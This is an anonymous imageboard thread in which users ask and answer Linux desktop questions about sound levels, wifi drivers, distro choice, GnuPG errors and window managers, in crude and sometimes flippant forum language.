>>61664827
>:v
Back to facebook fucking underage.

>>61679107
The Windows key? You can use it for keybinds

>>61679474
How?

How to keep my psi when using ssh

>>61679674
That's different for every desktop environment

On windows my laptop mic is working fine
On linux is very low, even if volume is set to 150, it is still very low, anyone know what should i do?

>>61681978
check in pavucontrol if using pulseaudio

>>61682076
or alsamixer otherwise

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>>61682076
this is pavu, and you can see volume level

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>>61662025
Is there even a Linux distro that uses runit or openRC and doesn't use apt and is actually viable for desktops?

>>61682192
void

>>61682166
check the underlying alsa device volume using alasmixer

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>>61682245

>>61682192
gentoo

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>>61670243
>>61670540
>>61677364
Thanks for the help, I installed wicd, but now that's not working either. Tells me "could not connect to wicd's d-bus interface" on boot, and when I try the "wicd" command in terminal it gives me something about "_status_dict" could not be started (it's a python dependency).

I really can't deal with this, I'm out of ideas, maybe if I ever get a new network card that works with Linux I'll give the dual-boot thing a go again. Till then, back to winfuck.

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I installed Slackware 4.0.0/kernel 2.2.6 on a legacy machine, Pentium 9 733MHz as a fun experiment, i have a Realtek ethernet card in there but the output of ifconfig shows no eth0 listing, even with the -a argument, and I'm unable to connect to the internet. is there anything i can do? i was really excited to get this thing online and use it for irc or something fun

keepassx just told me that anothar instance use my databese while only one insctance was used. Should i fall into paranoia and reinstall my /g/entoo?

I'm so happy with my GNU/Linux system. It's pretty usable, easy on the eyes, and cured my videogame-sickness, or at least the remnants of it.

>>61682258
Press f4 to go to capture settings

>>61682564
Pentium 3 733*

Sup people

What's a good music player on linux that displays cover art, plays many weird music formats and has a folder view?

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>>61682623
Emacs + bongo

Hey folks. How are you all this evening/morning/afternoon? Hope you are well.

I'm looking to get GNU/Linux on my laptop again, because I installed Windows 10 like an idiot.

Now, while I'm in the process of finding the original wireless card (that I swapped out when I hackintosh'd my laptop) I need to use [spoiler]proprietary[/spoiler] drivers for my Wi-Fi to work. So far, Linux Mint is the only distro I've used that has had the graphical driver manager installed by default that I can do this with.

Anyone here know of any other distros that have something like this? Or any alternative?
Many thanks in advance.

>>61682806
> graphical driver manager
Lol, no.

Dumb question, my i3 status bar is showing the wrong time, how do I fix it?

>>61682875
As in, driver manager with a graphical interface. I don't need graphics driver.

Why are you laughing, anon?

>>61682875
mess with timedatectl

>>61682984
>>61682882

so, what is the lightest distro?

>>61684160
Gentoo

very new to gnu/linux, I'm having a hard time getting my iGPU to work with Debian (Gnome), I've tested all videoports on my motherboard.
they all show bios/uefi splash, grub menu, but gives me a black screen after that. nothing at all other than black, the screen is on, but black.
keyboard is active, mouse is active.
whatdo

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I need a good and proper IDE for linux.

Pycharm tried to shoah my CPU every single fucking time i typed something.

I've been trying to generate a key with GnuPG, but i get a:

gpg: agent_genkey failed: Missing key
Key generation failed: Missing key

Does anyone know why would this happen? I am doing this in CloverOS (Gentoo)

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Im about to install a minimal bare bones debian 9 install in my laptop. I want to setup monsterWM and try to do something useful out of it.

What im getting into?

Do multi monitor setups work out of the box on most modern distros?

>>61687083
it does on xfce so yes

Are the proprietary nvidia drivers still miles ahead of the FOS version? Haven't used Linux in a very long time.

>>61687855
For anything that requires acceleration, yeah.

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>>61674035

Good morning
>>61688474

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Is this correct?

>>61689110
yes

Guys.

I have a 128gb SSD + a 1TB HDD.

Should I put /home on that HDD or create symlinks to folders on that instead? Let's say, create symlinks for ~/Videos and ~/Music and leave the rest on that SSD? What do you think is more convenient?

Last night i asked about build it mic volume problem, still not solved
>>61681978
>>61682258>>
>>61682614
i did it it is on max

anyone knows solution?

>>61682806
>graphical manager
What you're actually looking for is information on what you need to install correct drivers. The answer is "your package manager". You just need to install the correct drivers for your wifi-device. These will be in packages distributed by your distribution maintainer. Detect your device model, find the corresponding package and install it.

Last night my system stopped detecting the wifi.
Reseting the network adapter does nothing.
Ubuntu 16.04 xenial
(Xubuntu)

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>>61690083
Have you tried power-cycling the Device?

It happens with my adapter when there is heavy load.

>>61690212
I don't know what that is, could you enlighten me?
Other "solutions" didn't work.

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>>61690227
turning the device off and on.

my piece of shit WN722N does it when there is heavy network load

>>61690271
I did that ten times already.

I am using the tiling features in floating window managers extensively (the grid plugin in compiz, the tiling features in Xfce or the quicktile script). I do not want to swap to a tiling window manager as it is impractical for some of the work I do.

Is there a way to get grid/tile like arrangements automatically when opening windows within a floating window manager (plus maybe a few key mappings) to shuffle the layout?

>>61690271
I hope it fixes itself.
Worst case scenario is that I have to shill out a few bucks for a small USB stick to slove it.
Probably the card shat itself.

best distro?

>>61691416
Source Mage GNU/Linux

What are the benefits for switching to zsh?

>>61689302
You should read the alsa entry at the Arch wiki. You can set up your sound once, then save the configuration.

New thread: >>61691501

>>61691474
switching to zsh makes only sense when bash isn't enough imho

>>61666899
>Iḿ

>>61668989
>except VM
on a seperate computer that you don't keep important things for, preferably with an external switch for wifi/bluetooth/webcam/microphone
preferably in a vm there as well

>>61682192
slackware